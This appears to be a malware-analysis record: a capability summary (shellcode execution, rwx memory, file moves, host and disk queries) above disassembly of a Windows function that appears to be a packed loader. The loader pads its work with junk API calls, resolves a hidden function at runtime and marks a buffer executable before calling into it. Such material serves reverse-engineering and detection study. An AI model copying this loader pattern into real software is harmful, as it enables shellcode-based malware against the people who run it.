Function at 0x409d8f
Capabilities:
Allocate or change rwx memory
Copy file
Create pipe
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get disk size
Get file attributes
Get hostname
Get memory capacity
Manipulate console buffer
Move file
Read .ini file
Terminate process
Terminate thread

Disassembly:
mov eax, 0x2db8
call fcn.0040aa00
push ebx
push ebp
push esi
xor esi, esi
cmp dword [0x46554c], 3
push edi
jne 0x409e2c
push esi
push esi
push esi
mov edi, 0x4633c8
push edi
call fcn.0040b340
push esi
call fcn.0042f470
push esi
push esi
call fcn.0040b1f0
add esp, 0x1c
cmp dword [0x46554c], 0x22
jne 0x409ddf
lea eax, [esp + 0x50]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
push esi
call fcn.0040b1d0
mov dword [esp], 0x4015cc
call fcn.0040b190
fstp st(0)
push esi
push esi
call fcn.0040af10
push esi
call fcn.0040aee0
push 0x4015d0
push 0x4015d4
push edi
call fcn.0040ad80
push esi
push esi
call fcn.0040af10
push esi
call fcn.0040aee0
push esi
call fcn.0040ac40
push esi
call fcn.0040aa30
add esp, 0x30
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
xor ebp, ebp
cmp ebp, 0x220b3
jge 0x409e5c
push esi
call dword [sym.imp.USER32.dll_CharUpperA]
call dword [sym.imp.USER32.dll_GetMessageTime]
push esi
call edi
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp dword [0x46554c], 0x6b
jne 0x409e72
push esi
call ebx
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
cmp ebp, 0xfb530
mov dword [0x46553c], esi
jle 0x409ea0
cmp dword [esp + 0x1c], 0xb21b6a
je 0x409ea0
cmp dword [esp + 0x5c], 0xda3230
je 0x409ea0
cmp dword [0x46554c], 0x28
jne 0x409ea0
push esi
call edi
inc ebp
cmp ebp, 0x181e8d34
jl 0x409e3a
xor ebp, ebp
cmp dword [0x46554c], 0x47
jne 0x409fbe
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetTimerQueueTimer]
push esi
push esi
push esi
push esi
push esi
push esi
push 0x4015dc
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
xor eax, eax
mov word [esp + 0x10], ax
lea edi, [esp + 0x12]
stosw word es:[edi], ax
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x14]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
push esi
lea eax, [esp + 0x4c]
push eax
push esi
lea eax, [esp + 0x5d4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
lea eax, [esp + 0x11cc]
push eax
push esi
push 0x4015f4
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea eax, [esp + 0x40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
xor eax, eax
mov word [esp + 0x18], ax
lea edi, [esp + 0x1a]
stosw word es:[edi], ax
lea eax, [esp + 0x2c]
push eax
push dword [esp + 0x1c]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
push esi
push 0x40160c
lea eax, [esp + 0x9d0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
lea eax, [esp + 0x1c8]
push esi
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileType]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
cmp ebp, 0x259f
je 0x409fee
cmp dword [0x46554c], 0xf
jne 0x409fdf
push esi
lea eax, [esp + 0x1cc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll__hread]
inc ebp
cmp ebp, 0x1aba19a
jl 0x409eab
jmp 0x409ff8
mov eax, dword [0x438d18]
mov dword [0x46554c], eax
xor ebp, ebp
cmp ebp, 0x41d
jne 0x40a00c
push 0x46554c
call fcn.00409a3a
cmp dword [0x46554c], 0x78
jne 0x40a117
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
lea eax, [esp + 0x14]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
push esi
call dword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringA]
push esi
call ebx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
xor eax, eax
mov word [esp + 0x30], ax
lea edi, [esp + 0x32]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_SetLocalTime]
push esi
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push esi
push esi
push esi
push 0x401644
push 0x401678
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
lea eax, [esp + 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExW]
push esi
push esi
lea eax, [esp + 0x1d0]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push 0x4016c4
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push esi
lea eax, [esp + 0x9cc]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
push 0x4016c8
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
inc ebp
cmp ebp, 0x40bbb0
jl 0x409ffa
push dword [0x46554c]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x465128], eax
xor eax, eax
cmp eax, 0x1550
jne 0x40a14b
mov ecx, dword [0x438008]
mov dword [0x465960], ecx
inc eax
cmp eax, 0x56a453
jl 0x40a138
mov ebx, dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
mov edi, 0x7015e7
cmp dword [0x46554c], 0x23
jne 0x40a2c4
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFiber]
push esi
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
lea eax, [esp + 0xb8]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push esi
push esi
lea eax, [esp + 0x15d0]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommState]
push esi
push esi
push esi
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea eax, [esp + 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [esp + 0x5c8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x1cc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push esi
push esi
lea eax, [esp + 0x1dd0]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesW]
push esi
push esi
lea eax, [esp + 0x11d0]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x25cc]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x4016d8
push esi
lea eax, [esp + 0x9d0]
push eax
push 0x4016f0
push 0x401700
push 0x401720
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push esi
push esi
lea eax, [esp + 0x24]
push eax
mov dword [esp + 0x28], esi
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
dec edi
jne 0x40a15e
cmp dword [0x46554c], esi
jbe 0x40a2f9
cmp dword [0x46554c], 0xfe
jne 0x40a2ea
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push edi
call fcn.004098f6
inc edi
cmp edi, dword [0x46554c]
jb 0x40a2d3
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp + 0x10], esi
cmp dword [0x46554c], 0x15a
jne 0x40a343
push esi
call ebp
xor eax, eax
mov word [esp + 0x1c], ax
lea edi, [esp + 0x1e]
stosw word es:[edi], ax
mov word [esp + 0x18], ax
lea edi, [esp + 0x1a]
stosw word es:[edi], ax
lea eax, [esp + 0x30]
push eax
push dword [esp + 0x1c]
lea eax, [esp + 0x1c]
push dword [esp + 0x24]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
cmp dword [esp + 0x10], 0x75ec5
jne 0x40a359
push 0x401740
call ebp
mov dword [0x465548], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0x1756bb
jl 0x40a303
push 0x401750
mov edi, 0x4633c8
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push dword [0x465548]
mov byte [0x4633c8], 0x56
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4633c4], eax
xor edi, edi
cmp edi, 0x1c
jne 0x40a3b1
lea eax, [esp + 0x14]
push eax
push 0x40
push dword [0x46554c]
push dword [0x465128]
call dword [0x4633c4]
inc edi
cmp edi, 0x3debc7
jl 0x40a393
call fcn.00409b1d
cmp dword [0x46554c], 0x1d
jne 0x40a4d1
push esi
lea eax, [esp + 0x18]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
push 0x401760
lea eax, [esp + 0x9d0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea eax, [esp + 0x5c8]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceLanguagesW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0x24]
push eax
push 0x401770
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
lea eax, [esp + 0x25cc]
push eax
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push esi
push esi
push esi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetACP]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x30
lea eax, [esp + 0x58]
push esi
push eax
mov dword [esp + 0x5c], esi
call fcn.0040b370
add esp, 0xc
push esi
lea eax, [esp + 0x54]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
call fcn.00409a29
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2db8
ret 0x10